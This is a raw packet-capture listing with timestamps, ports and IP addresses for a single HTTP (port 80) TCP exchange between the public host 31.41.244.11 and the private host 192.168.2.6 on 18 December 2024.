Dec 18, 2024 11:09:27.800926924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.800972939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.801841021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.801884890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.801970005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.802011013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.802849054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.802895069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.802937031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.802973986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.803808928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.803867102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.803908110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.803950071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.804780006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.804830074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.804917097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.804959059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.805747986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.805804014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.805843115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.805888891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.806725025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.806778908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.806834936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.806876898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.807737112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.807779074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.807818890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.807858944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.808700085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.808744907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.808779955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.808821917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.809655905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.809701920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.809732914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.809775114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.810662031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.810708046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.810751915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.810792923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.811635017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.811681032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.811713934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.811755896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.952943087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.952963114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.953068972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.953130960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.953176975 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.953226089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.953269005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.953996897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.954040051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.954102993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.954142094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.955018997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.955080986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.955113888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.955154896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.956026077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.956104994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.956105947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.956145048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.956928015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.956989050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.957065105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.957112074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.957922935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.957973957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.958033085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.958072901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.958883047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.958934069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.958995104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.959036112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.959901094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.959943056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.959952116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.959990025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.960900068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.960941076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.961199045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.961240053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.961878061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.961921930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.961961031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.961997986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.963044882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.963088036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.963098049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.963135004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.964036942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.964082003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.964176893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.964215994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.965125084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.965169907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.965212107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.965250969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.966160059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.966203928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.966253996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.966289043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.967293024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.967341900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.967416048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.967459917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.969001055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.969042063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.969043016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.969082117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.969547987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.969573021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.969594002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.969611883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.970407963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.970428944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.970449924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.970462084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.971508026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.971556902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.971561909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.971592903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.972235918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.972279072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.972317934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.972359896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.973062992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.973102093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.973186016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.973223925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.974090099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.974140882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.974145889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.974184036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.975168943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.975209951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.975239992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.975271940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.976201057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.976246119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.976394892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.976432085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.977284908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.977327108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.977571011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.977612019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.978328943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.978373051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.978461027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.978503942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.979373932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.979397058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.979418039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.979430914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.980099916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.980144024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.980165958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.980209112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.980966091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.981009007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.981040955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.981082916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.982111931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.982156992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.982188940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.982230902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.982917070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.982961893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.983025074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.983067036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.983858109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.983917952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.983918905 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.983963966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.984436035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.984477043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.984550953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.984586954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.985511065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.985572100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.985614061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.985650063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.986371994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.986413002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.986520052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.986557961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.987495899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.987535000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.987541914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.987581968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.988451004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.988492966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.988535881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.988573074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.989352942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.989393950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.989531994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.989568949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.990375996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.990417957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.990444899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.990480900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.991461992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.991503000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.991698980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.991736889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.992444038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.992468119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.992485046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.992501974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.993366003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.993407965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.993474007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.993506908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.994292974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.994344950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.994401932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.994437933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.995263100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.995323896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.995382071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.995417118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.996244907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.996310949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.996346951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.996381998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.997226000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.997270107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.997338057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.997378111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.998353004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.998394966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.998498917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.998543024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.999533892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.999574900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.999620914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.999655962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.000675917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.000716925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.000749111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.000790119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.001492977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.001534939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.001610994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.001652002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.002650023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.002691984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.002844095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.002887011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.003918886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.003959894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.004086971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.004125118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.005244970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.005291939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.147896051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.147912025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.147958994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.147994041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.148041010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.148082018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.148082018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.148121119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.148900986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.148936033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.148941994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.148973942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.150748968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.150790930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.150800943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.150824070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.150845051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.150911093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.150950909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.151180983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.151226044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.151283026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.151336908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.152230978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.152278900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.152667999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.152710915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.153541088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.153590918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.153765917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.153799057 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.154803991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.154853106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.154957056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.155000925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.155607939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.155649900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.155682087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.155718088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.156502008 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.156541109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.156596899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.156630993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.157284975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.157331944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.157377958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.157422066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.158111095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.158150911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.158466101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.158502102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.158830881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.158876896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.158901930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.159173965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.159470081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.159511089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.159573078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.159619093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.160433054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.160474062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.160506010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.160545111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.161572933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.161614895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.161672115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.161710024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.162808895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.162822008 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.162844896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.162866116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.163609982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.163655043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.163683891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.163722992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.164417982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.164429903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.164450884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.164469004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.164922953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.164943933 CET	80	49912	31.41.244.11	192.168.2.6
